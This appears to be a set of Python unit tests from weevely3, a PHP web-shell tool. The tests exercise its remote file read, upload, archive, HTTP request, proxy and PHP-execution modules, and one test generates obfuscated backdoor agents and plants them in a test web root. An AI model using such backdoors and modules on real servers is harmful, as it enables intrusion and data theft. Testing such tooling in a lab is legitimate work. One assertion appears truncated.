log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_ls/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" chmod 0 "$BASE_FOLDER/dir1/dir2/dir3/dir4" """.format( config = config ), shell=True) class FileLs(BaseTest): folders = [ os.path.join(config.base_folder, f) for f in ( 'test_file_ls/dir1', 'test_file_ls/dir1/dir2', 'test_file_ls/dir1/dir2/dir3', 'test_file_ls/dir1/dir2/dir3/dir4', ) ] def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_ls'].run_argv def test_ls(self): # ls [0] self.assertEqual(self.run_argv([ self.folders[0] ]), [ '.', '..', os.path.split(self.folders[1])[1]]) # ls [-1] self.assertEqual(self.run_argv([ self.folders[-1] ]), [ ] ) # ls [1]/.././[1]/./ new = self.folders[1] self.assertEqual(self.run_argv([ '%s/.././%s/./' % (new, os.path.split(new)[-1]) ]), [ '.', '..', os.path.split(self.folders[2])[1]]) # ls bogus self.assertEqual(self.run_argv([ 'bogus' ]), [ ] ) # ls [2]/.././[2]/../ new = self.folders[2] self.assertEqual(self.run_argv([ '%s/.././////////%s/../' % (new, os.path.split(new)[-1]) ]), [ '.', '..', os.path.split(self.folders[2])[1]]) epinna-weevely3-445bd88/tests/test_file_read.py000066400000000000000000000042761444353330400215720ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import tempfile import datetime import logging import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_read/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER" echo -n 'OK' > "$BASE_FOLDER/ok.test" echo -n 'KO' > "$BASE_FOLDER/ko.test" # Set ko.test to ---x--x--x 0111 execute, should be no readable chmod 0111 "$BASE_FOLDER/ko.test" """.format( config = config ), shell=True) class FileRead(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.run_argv = modules.loaded['file_read'].run_argv def test_read_php(self): # Simple download self.assertEqual(self.run_argv(['test_file_read/ok.test']), b'OK') # Downoad binary. Skip check cause I don't know the remote content, and # the md5 check is already done inside file_download. self.assertTrue(self.run_argv(['/bin/ls'])) # Download of an unreadable file self.assertEqual(self.run_argv(['test_file_read/ko.test']), None) # Download of an remote unexistant file self.assertEqual(self.run_argv(['bogus']), None) def test_read_allvectors(self): for vect in modules.loaded['file_download'].vectors.get_names(): self.assertEqual(self.run_argv(['-vector', vect, 'test_file_read/ok.test']), b'OK') def test_read_sh(self): # Simple download self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_read/ok.test']), b'OK') # Downoad binary. Skip check cause I don't know the remote content, and # the md5 check is already done inside file_download. self.assertTrue(self.run_argv(['-vector', 'base64', '/bin/ls'])) # Download of an unreadable file self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_read/ko.test']), None) # Download of an remote unexistant file self.assertEqual(self.run_argv(['-vector', 'base64', 'bogus']), None) epinna-weevely3-445bd88/tests/test_file_tar.py000066400000000000000000000124251444353330400214400ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_tar/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" echo -n 1 > "$BASE_FOLDER/dir1/f1" echo -n 1 > "$BASE_FOLDER/dir1/dir2/f2" echo -n 1 > "$BASE_FOLDER/dir1/dir2/dir3/f3" echo -n 1 > "$BASE_FOLDER/dir1/dir2/dir3/dir4/f4" tar cf "$BASE_FOLDER/test_0.tar" -C "$BASE_FOLDER" "dir1/" echo -n 1 > "$BASE_FOLDER/f5" rm -rf "$BASE_FOLDER/dir1" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) class FileTar(BaseTest): folders_rel = [ 'test_file_tar/dir1', 'test_file_tar/dir1/dir2', 'test_file_tar/dir1/dir2/dir3', 'test_file_tar/dir1/dir2/dir3/dir4', ] folders_abs = [ os.path.join(config.base_folder, f) for f in folders_rel ] files_rel = [ 'test_file_tar/dir1/f1', 'test_file_tar/dir1/dir2/f2', 'test_file_tar/dir1/dir2/dir3/f3', 'test_file_tar/dir1/dir2/dir3/dir4/f4', ] files_abs = [ os.path.join(config.base_folder, f) for f in files_rel ] tars_rel = [ 'test_file_tar/test_0.tar' ] tars_abs = [ os.path.join(config.base_folder, f) for f in tars_rel ] other_file_rel = 'test_file_tar/f5' other_file_abs = os.path.join(config.base_folder, other_file_rel) def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_tar'].run_argv def test_compress_decompress(self): # Uncompress test.tar self.assertTrue(self.run_argv(['-x', '-o', self.tars_rel[0], 'test_file_tar/' ])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) # Compress it again giving starting folder self.assertTrue(self.run_argv(['-o', 'test_file_tar/test_1.tar', self.folders_rel[0]])); self.tars_rel.append('test_file_tar/test_1.tar') self.tars_abs.append(os.path.join(config.base_folder, self.tars_rel[-1])) # Uncompress the new archive and recheck self.assertTrue(self.run_argv(['-x', '-o', 'test_file_tar/test_1.tar', 'test_file_tar/'])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) def test_compress_multiple(self): # Uncompress test.tar self.assertTrue(self.run_argv(['-x', '-o', self.tars_rel[0], 'test_file_tar/' ])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) # Create a new tar adding also other_file self.assertTrue(self.run_argv(['-o', 'test_file_tar/test_2.tar', self.folders_rel[0], self.other_file_rel])); self.tars_rel.append('test_file_tar/test_2.tar') self.tars_abs.append(os.path.join(config.base_folder, self.tars_rel[-1])) # Remove all the files subprocess.check_output("rm -rf %s" % self.folders_abs[0], shell=True) subprocess.check_output("rm %s" % self.other_file_abs, shell=True) # Uncompress the new archive and recheck self.assertTrue(self.run_argv(['-x', '-o', 'test_file_tar/test_2.tar', './test_file_tar/'])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) self.assertEqual(subprocess.check_output("cat %s" % self.other_file_abs, shell=True), b'1') @log_capture() def test_already_exists(self, log_captured): # Create a new tar with other_file, with the name test_0.tar self.assertIsNone(self.run_argv(['test_file_tar/test_0.tar', self.other_file_rel])); self.assertEqual(log_captured.records[-1].msg, "File 'test_file_tar/test_0.tar' already exists, skipping compressing") @log_capture() def test_unexistant_decompress(self, log_captured): self.assertIsNone(self.run_argv(['-x', '-o', 'bogus', '.'])); self.assertEqual(log_captured.records[-1].msg, "Skipping file 'bogus', check existance and permission") # @log_capture() # def test_unexistant_compress(self, log_captured): # # self.assertIsNone(self.run_argv(['bogus.tar', 'bogus'])); # self.assertEqual(log_captured.records[-1].msg, # "File 'bogus.tar' not created, check existance and permission") epinna-weevely3-445bd88/tests/test_file_upload.py000066400000000000000000000105061444353330400221340ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import tempfile import datetime import logging import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_upload/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER" echo -n 'KO' > "$BASE_FOLDER/ok.test" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) class FileUpload(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.run_argv = modules.loaded['file_upload'].run_argv @log_capture() def test_upload(self, log_captured): # Upload content self.assertTrue(self.run_argv([ 'test_file_upload/f1', '-content', 'CONTENT' ])) # Upload lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write(b'CONTENT') self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f2' ])) temp_file.close() @log_capture() def test_upload_fwrite(self, log_captured): # Upload content self.assertTrue(self.run_argv([ 'test_file_upload/f3', '-content', 'CONTENT', '-vector', 'fwrite' ])) # Upload lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write(b'CONTENT') self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f4', '-vector', 'fwrite' ])) temp_file.close() @log_capture() def test_upload_errs(self, log_captured): # Do not specify content or lpath self.assertFalse(self.run_argv([ 'bogus' ])) self.assertEqual(log_captured.records[-1].msg, messages.module_file_upload.error_content_lpath_required) # Upload a not existant lpath self.assertFalse(self.run_argv([ 'bogus', 'bogus' ])) self.assertEqual(log_captured.records[-1].msg[:18], messages.generic.error_loading_file_s_s[:18]) # Upload to a not existant rpath self.assertFalse(self.run_argv([ 'asd/asd/asd/asd', '-content', 'CONTENT' ])) self.assertEqual(log_captured.records[-1].msg, messages.module_file_upload.failed_upload_file) def test_upload_empty(self): # Upload content self.assertTrue(self.run_argv([ 'test_file_upload/f5', '-content', '' ])) # Upload lfile temp_file = tempfile.NamedTemporaryFile() self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f6' ])) temp_file.close() @log_capture() def test_upload_overwrite(self, log_captured): # Try to overwrite self.assertFalse(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT' ])) self.assertEqual(log_captured.records[-1].msg, messages.generic.error_file_s_already_exists % 'test_file_upload/ok.test') # Now force self.assertTrue(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-force' ])) @log_capture() def test_upload_overwrite_fwrite(self, log_captured): # Try to overwrite self.assertFalse(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-vector', 'fwrite' ])) self.assertEqual(log_captured.records[-1].msg, messages.generic.error_file_s_already_exists % 'test_file_upload/ok.test') # Now force self.assertTrue(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-force', '-vector', 'fwrite' ])) @log_capture() def test_upload_binary(self, log_captured): binary_content = b'\xbe\x00\xc8d\xf8d\x08\xe4' # Upload lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write(binary_content) self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f8' ])) temp_file.close() @log_capture() def test_upload_binary_fwrite(self, log_captured): binary_content = b'\xbe\x00\xc8d\xf8d\x08\xe4' # Upload lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write(binary_content) self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f10', '-vector', 'fwrite' ])) temp_file.close() epinna-weevely3-445bd88/tests/test_file_upload2web.py000066400000000000000000000105051444353330400227130ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import tempfile import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_upload2web/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/0777/0555/0777/0555" chown www-data: -R "$BASE_FOLDER/" chmod 0777 "$BASE_FOLDER/0777" chmod 0777 "$BASE_FOLDER/0777/0555/0777/" chmod 0555 "$BASE_FOLDER/0777/0555" chmod 0555 "$BASE_FOLDER/0777/0555/0777/0555" """.format( config = config ), shell=True) class UploadWeb(BaseTest): def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) # Create the folder tree self.folders_rel = [ 'test_file_upload2web/0777/', 'test_file_upload2web/0777/0555/', 'test_file_upload2web/0777/0555/0777/', 'test_file_upload2web/0777/0555/0777/0555' ] self.run_argv = modules.loaded['file_upload2web'].run_argv def _get_path_url(self, folder_deepness, filename): rurl = os.path.sep.join([ config.base_url.rstrip('/'), self.folders_rel[folder_deepness].strip('/'), filename.lstrip('/')] ) rpath = os.path.sep.join([ config.base_folder.rstrip('/'), self.folders_rel[folder_deepness].strip('/'), filename.lstrip('/')] ) return rpath, rurl def test_file_uploadweb(self): # Upload lfile with a specific path temp_file = tempfile.NamedTemporaryFile() rpath, rurl = self._get_path_url(0, 'f1') self.assertEqual( self.run_argv([ temp_file.name, rpath ]), [ ( rpath, rurl ) ] ) temp_file.close() # Upload lfile guessing first writable path starting from [0] temp_file = tempfile.NamedTemporaryFile() temp_folder, temp_filename = os.path.split(temp_file.name) rpath, rurl = self._get_path_url(0, temp_filename) self.assertEqual( self.run_argv([ temp_file.name, self.folders_rel[0] ]), [ ( rpath, rurl ) ] ) temp_file.close() # Upload lfile guessing first writable path from [1], # that is [2] temp_file = tempfile.NamedTemporaryFile() temp_folder, temp_filename = os.path.split(temp_file.name) rpath, rurl = self._get_path_url(2, temp_filename) self.assertEqual( self.run_argv([ temp_file.name, self.folders_rel[1] ]), [ ( rpath, rurl ) ] ) temp_file.close() def test_file_uploadweb_content(self): # Upload content with fake lfile guessing first writable path from [1], # that is [2] temp_file_name = '/tmp/nonexistant' temp_folder, temp_filename = os.path.split(temp_file_name) rpath, rurl = self._get_path_url(2, temp_filename) self.assertEqual( self.run_argv([ temp_file_name, self.folders_rel[1], '-content', '1' ]), [ ( rpath, rurl ) ] ) @log_capture() def test_uploadweb_errs(self, log_captured): # Upload a not existant lpath self.assertIsNone(self.run_argv([ 'bogus', self.folders_rel[0] ])) self.assertEqual(log_captured.records[-1].msg[:18], messages.generic.error_loading_file_s_s[:18]) # Upload a not existant rpath temp_file = tempfile.NamedTemporaryFile() self.assertIsNone(self.run_argv([ temp_file.name, self.folders_rel[0] + '/bogus/bogus' ])) self.assertEqual(log_captured.records[-1].msg, messages.module_file_upload.failed_upload_file) # Upload a not writable folder temp_file = tempfile.NamedTemporaryFile() self.assertIsNone(self.run_argv([ temp_file.name, self.folders_rel[3] + '/bogus' ])) self.assertEqual(log_captured.records[-1].msg, messages.module_file_upload.failed_upload_file) epinna-weevely3-445bd88/tests/test_file_zip.py000066400000000000000000000135631444353330400214600ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_zip/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" echo -n 1 > "$BASE_FOLDER/dir1/f1" echo -n 1 > "$BASE_FOLDER/dir1/dir2/f2" echo -n 1 > "$BASE_FOLDER/dir1/dir2/dir3/f3" echo -n 1 > "$BASE_FOLDER/dir1/dir2/dir3/dir4/f4" cd "$BASE_FOLDER" && zip -r "test_0.zip" "dir1/" echo -n 1 > "$BASE_FOLDER/f5" rm -rf "$BASE_FOLDER/dir1" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) class FileZip(BaseTest): folders_rel = [ 'test_file_zip/dir1', 'test_file_zip/dir1/dir2', 'test_file_zip/dir1/dir2/dir3', 'test_file_zip/dir1/dir2/dir3/dir4', ] folders_abs = [ os.path.join(config.base_folder, f) for f in folders_rel ] files_rel = [ 'test_file_zip/dir1/f1', 'test_file_zip/dir1/dir2/f2', 'test_file_zip/dir1/dir2/dir3/f3', 'test_file_zip/dir1/dir2/dir3/dir4/f4', ] files_abs = [ os.path.join(config.base_folder, f) for f in files_rel ] zips_rel = [ 'test_file_zip/test_0.zip' ] zips_abs = [ os.path.join(config.base_folder, f) for f in zips_rel ] other_file_rel = 'test_file_zip/f5' other_file_abs = os.path.join(config.base_folder, other_file_rel) def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_zip'].run_argv def test_compress_decompress(self): # Uncompress test.zip self.assertTrue(self.run_argv(["--decompress", self.zips_rel[0], 'test_file_zip/' ])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) # Compress it again giving szipting folder self.assertTrue(self.run_argv(['test_file_zip/test_1.zip', self.folders_rel[0]])); self.zips_rel.append('test_file_zip/test_1.zip') self.zips_abs.append(os.path.join(config.base_folder, self.zips_rel[-1])) # Uncompress the new archive and recheck self.assertTrue(self.run_argv(["--decompress", 'test_file_zip/test_1.zip', 'test_file_zip/'])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) def test_compress_multiple(self): # Uncompress test.zip self.assertTrue(self.run_argv(["--decompress", self.zips_rel[0], 'test_file_zip/' ])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) # Create a new zip adding also other_file self.assertTrue(self.run_argv(['test_file_zip/test_2.zip', self.folders_rel[0], self.other_file_rel])); self.zips_rel.append('test_file_zip/test_2.zip') self.zips_abs.append(os.path.join(config.base_folder, self.zips_rel[-1])) # Remove all the files subprocess.check_output("rm -rf %s" % self.folders_abs[0], shell=True) subprocess.check_output("rm %s" % self.other_file_abs, shell=True) # Uncompress the new archive and recheck self.assertTrue(self.run_argv(["--decompress", 'test_file_zip/test_2.zip', 'test_file_zip/'])); for file in self.files_abs: self.assertEqual(subprocess.check_output("cat %s" % file, shell=True), b'1') for folder in self.folders_abs: subprocess.check_call('stat -c %%a "%s"' % folder, shell=True) # TODO: here skips the final check since f5 is misplaced # on the archive # Archive: /var/www/html/test_file_zip/test_2.zip # testing: dir1/ OK # testing: dir1/dir2/ OK # testing: dir1/dir2/dir3/ OK # testing: dir1/dir2/dir3/dir4/ OK # testing: dir1/dir2/dir3/dir4/f4 OK # testing: dir1/dir2/dir3/f3 OK # testing: dir1/dir2/f2 OK # testing: dir1/f1 OK # testing: test_file_zip/f5 OK #self.assertEqual(subprocess.check_output("cat %s" % self.other_file_abs, shell=True),'1') @log_capture() def test_already_exists(self, log_captured): # Create a new zip with other_file, with the name test_0.zip self.assertIsNone(self.run_argv(['test_file_zip/test_0.zip', self.other_file_rel])); self.assertEqual(log_captured.records[-1].msg, "File 'test_file_zip/test_0.zip' already exists, skipping compressing") @log_capture() def test_unexistant_decompress(self, log_captured): self.assertIsNone(self.run_argv(["--decompress", 'bogus', '.'])); self.assertEqual(log_captured.records[-1].msg, "Skipping file 'bogus', check existance and permission") @log_capture() def test_unexistant_compress(self, log_captured): self.assertIsNone(self.run_argv(['bogus.zip', 'bogus'])); self.assertEqual(log_captured.records[-1].msg, "File 'bogus.zip' not created, check existance and permission") epinna-weevely3-445bd88/tests/test_generators.py000066400000000000000000000047351444353330400220310ustar00rootroot00000000000000from contextlib import redirect_stdout import hashlib import os import random import subprocess from contextlib import redirect_stdout from io import TextIOWrapper, BytesIO from unittest import TestCase import utils from core.channels.channel import Channel from core.generate import generate, save_generated from tests.config import base_folder, base_url def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{base_folder}/generators/" rm -rf "$BASE_FOLDER" mkdir "$BASE_FOLDER" chown www-data: -R "$BASE_FOLDER/" """.format( base_folder = base_folder ), shell=True) class TestGenerators(TestCase): def test_generators(self): with TextIOWrapper(buffer=BytesIO()) as buf, redirect_stdout(buf): obfuscated = generate('dummy', 'phar') save_generated(obfuscated, '-') buf.buffer.seek(0) output = buf.buffer.read() self.assertTrue(output.startswith(b'', output) for i in range(0, 200): self._randomize_bd() obfuscated = generate(self.password.decode('utf-8'), self.obfuscator) save_generated(obfuscated, self.path) self.channel = Channel( 'ObfPost', { 'url' : self.url, 'password' : self.password.decode('utf-8') } ) self._incremental_requests(10, 100, 30, 50) self._clean_bd() def _incremental_requests( self, size_start, size_to, step_rand_start, step_rand_to): for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)): payload = utils.strings.randstr(i) self.assertEqual( self.channel.send( 'echo("%s");' % payload.decode('utf-8'))[0], payload, f'Obfuscator failed: {self.obfuscator}') @classmethod def _randomize_bd(cls): cls.obfuscator = 'obfusc1_php' if random.randint(0, 100) > 50 else 'phar' cls.password = utils.strings.randstr(10) password_hash = hashlib.md5(cls.password).hexdigest().lower() filename = '%s_%s.php' % ( __name__, cls.password) cls.url = os.path.join(base_url, 'generators', filename) cls.path = os.path.join(base_folder, 'generators', filename) @classmethod def _clean_bd(cls): os.remove(cls.path) epinna-weevely3-445bd88/tests/test_net_curl.py000066400000000000000000000155771444353330400215010ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import logging import tempfile import os import re import hashlib import json import socket def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_net_curl/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) class Curl(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.url = 'http://httpbin-inst' self.vector_list = modules.loaded['net_curl'].vectors.get_names() # Install pecl_http is complex and php-version dependant, so # let's just skip this vector test. self.vector_list.remove('php_httprequest1') self.run_argv = modules.loaded['net_curl'].run_argv def _json_result(self, args): result = self.run_argv(args)[0] try: return result if not result else json.loads(result) except Exception as e: self.fail(result) def _headers_result(self, args): return self.run_argv(args)[1] def test_sent_data(self): for vect in self.vector_list: # Simple GET url = self.url + '/get' self.assertEqual( url, self._json_result([ url, '-vector', vect ])['url'] ) # PUT request url = self.url + '/put' self.assertEqual( url, self._json_result([ url, '-X', 'PUT', '-vector', vect ])['url'] ) # OPTIONS request - there is nothing to test OPTIONS in # httpbin, but still it's an accepted VERB which returns 200 OK url = self.url + '/anything' self.assertEqual( b'200 OK', self._headers_result([ url, '-X', 'PUT', '-vector', vect ])[0][-6:] ) # Add header url = self.url + '/headers' self.assertEqual( 'value', self._json_result([ url, '-H', 'X-Arbitrary-Header: value', '-vector', vect ])['headers']['X-Arbitrary-Header'] ) # Add cookie url = self.url + '/cookies' self.assertEqual( {'C1': 'bogus', 'C2' : 'bogus2'}, self._json_result([ url, '-b', 'C1=bogus;C2=bogus2', '-vector', vect ])['cookies'] ) # POST request with data url = self.url + '/post' result = self._json_result([ url, '--data', 'f1=data1&f2=data2', '-vector', vect ]) self.assertEqual( { 'f1': 'data1', 'f2': 'data2' }, result['form'] ) self.assertEqual( "application/x-www-form-urlencoded", result['headers']['Content-Type'] ) # POST request with binary string url = self.url + '/post' result = self._json_result([ url, '--data', 'FIELD=D\x41\x54A\x00B', '-vector', vect ]) self.assertEqual( { 'FIELD': 'DATA\x00B' }, result['form'] ) # Simple GET with parameters url = self.url + '/get?f1=data1&f2=data2' self.assertEqual( { 'f1': 'data1', 'f2': 'data2'}, self._json_result([ url, '-vector', vect ])['args'] ) # HTTPS GET to test SSL checks are disabled google_ip = socket.gethostbyname('www.google.com') self.assertIn( b'google', self.run_argv([ 'https://' + google_ip, '-vector', vect ])[0] ) @log_capture() def test_unreachable(self, log_captured): for vect in self.vector_list: self.assertIsNone(self.run_argv([ 'http://co.uk', '-vector', vect ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) self.assertIsNone(self.run_argv([ 'http://co.uk' ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) @log_capture() def test_filtered(self, log_captured): for vect in self.vector_list: self.assertIsNone(self.run_argv([ 'http://www.google.com:9999', '-vector', vect, '--connect-timeout', '1' ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) self.assertIsNone(self.run_argv([ 'http://www.google.com:9999', '--connect-timeout', '1' ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) @log_capture() def test_closed(self, log_captured): for vect in self.vector_list: self.assertIsNone(self.run_argv([ 'http://localhost:43907', '-vector', vect, '--connect-timeout', '1' ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) self.assertIsNone(self.run_argv([ 'http://localhost:19999', '--connect-timeout', '1' ])[0]) self.assertEqual(messages.module_net_curl.unexpected_response, log_captured.records[-1].msg) def test_output_remote(self): url = self.url + '/get' for vect in self.vector_list: result, headers, saved = self.run_argv([ url, '-vector', vect, '-o', 'test_net_curl/test_%s' % vect ]) self.assertTrue(saved) result, headers, saved = self.run_argv([ url, '-o', 'test_net_curl/test_all' ]) self.assertTrue(saved) # Check saved = None without -o result, headers, saved = self.run_argv([ url ]) self.assertIsNone(saved) # Check saved = False with a wrong path result, headers, saved = self.run_argv([ url, '-o', 'bogus/bogusbogus' ]) self.assertFalse(saved) def test_output_local(self): temp_file = tempfile.NamedTemporaryFile() for vect in self.vector_list: result, headers, saved = self.run_argv([ self.url + '/post', '-vector', vect, '--data', 'FIND=THIS', '-o', temp_file.name, '-local' ]) self.assertTrue(saved) json_result = json.loads(result) with open(temp_file.name) as f: json_saved = json.load(f) self.assertEqual(json_result, json_saved) temp_file.close() # Check saved = False with a wrong path result, headers, saved = self.run_argv([ self.url, '-o', 'bogus/bogusbogus', '-local' ]) self.assertFalse(saved) epinna-weevely3-445bd88/tests/test_net_proxy.py000066400000000000000000000104551444353330400217030ustar00rootroot00000000000000from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import logging import tempfile import os import re import time import json import socket class Proxy(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.url = 'http://httpbin-inst' modules.loaded['net_proxy'].run_argv([ '-lhost', '0.0.0.0', '-lport', '8080' ]) def run_argv(self, arguments, unquoted_args = ''): arguments += [ '--proxy', '127.0.0.1:8080' ] result = subprocess.check_output( 'curl -s %s "%s"' % (unquoted_args, '" "'.join(arguments)), shell=True).strip() return result def _json_result(self, args, unquoted_args = ''): result = self.run_argv(args, unquoted_args).decode('utf-8') return result if not result else json.loads(result) def _headers_result(self, args): return self.run_argv(args, unquoted_args = '-sSL -D - -o /dev/null').splitlines() def test_all(self): # HTTPS GET with no SSL check self.assertIn( b'Google', self.run_argv([ 'https://www.google.com', '-k' ]) ) # HTTPS GET with cacert self.assertIn( b'Google', self.run_argv([ 'https://www.google.com' ], unquoted_args='--cacert ~/.weevely/certs/ca.crt') ) # HTTPS without cacert try: self.run_argv([ 'https://www.google.com' ]) except subprocess.CalledProcessError: pass else: self.fail("No error") # Simple GET url = self.url + '/get' self.assertEqual( url, self._json_result([ url ])['url'] ) # PUT request url = self.url + '/put' self.assertEqual( url, self._json_result([ url, '-X', 'PUT' ])['url'] ) # OPTIONS request - there is nothing to test OPTIONS in # httpbin, but still it's an accepted VERB which returns 200 OK url = self.url + '/anything' self.assertEqual( b'200 OK', self._headers_result([ url, '-X', 'PUT' ])[0][-6:] ) # Add header url = self.url + '/headers' self.assertEqual( 'value', self._json_result([ url, '-H', 'X-Arbitrary-Header: value' ])['headers']['X-Arbitrary-Header'] ) # Add cookie url = self.url + '/cookies' self.assertEqual( {'C1': 'bogus', 'C2' : 'bogus2'}, self._json_result([ url, '-b', 'C1=bogus;C2=bogus2' ])['cookies'] ) # POST request with data url = self.url + '/post' result = self._json_result([ url, '--data', 'f1=data1&f2=data2' ]) self.assertEqual( { 'f1': 'data1', 'f2': 'data2' }, result['form'] ) self.assertEqual( "application/x-www-form-urlencoded", result['headers']['Content-Type'] ) # POST request with binary string url = self.url + '/post' result = self._json_result([ url ], unquoted_args="--data FIELD=$(env echo -ne 'D\\x41\\x54A\\x00B')") self.assertEqual( { 'FIELD': 'DATAB' }, result['form'] ) # Simple GET with parameters url = self.url + '/get?f1=data1&f2=data2' self.assertEqual( { 'f1': 'data1', 'f2': 'data2' }, self._json_result([ url ])['args'] ) # HTTPS GET to test SSL checks are disabled google_ip = socket.gethostbyname('www.google.com') self.assertIn( b'google', self.run_argv([ 'https://' + google_ip, "-k" ]) ) # UNREACHABLE # This is not true depending on the used ISP, commenting it out #self.assertIn('Message: Bad Gateway.', self.run_argv([ 'http://co.uk:0' ])) # FILTERED self.assertIn(b'Message: Bad Gateway.', self.run_argv([ 'http://www.google.com:9999', '--connect-timeout', '1' ])) # CLOSED self.assertIn(b'Message: Bad Gateway.', self.run_argv([ 'http://localhost:9999', '--connect-timeout', '1' ])) epinna-weevely3-445bd88/tests/test_shell_php.py000066400000000000000000000025201444353330400216240ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from core import modules from core.sessions import SessionURL from core import messages class ShellPHP(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile=True) modules.load_modules(session) self.run_argv = modules.loaded['shell_php'].run_argv @log_capture() def test_commands(self, log_captured): self.assertEqual(self.run_argv(["echo(1);"]), "1") # Check remote error warning self.assertEqual(self.run_argv(['throw new Exception("Don\'t panic!");']), "") self.assertEqual('[ERR:500] eval: Don\'t panic!', log_captured.records[-1].msg) # Check generic remote error self.assertEqual(self.run_argv(["echo(1)"]), "") self.assertRegex(log_captured.records[-2].msg, messages.module_shell_php.missing_php_trailer_s % ".*echo\\(1\\)") self.assertEqual(messages.module_shell_php.error_500_executing, log_captured.records[-1].msg) # Check warnings on 404. self.assertEqual(self.run_argv(["header('HTTP/1.0 404 Not Found');"]), "") 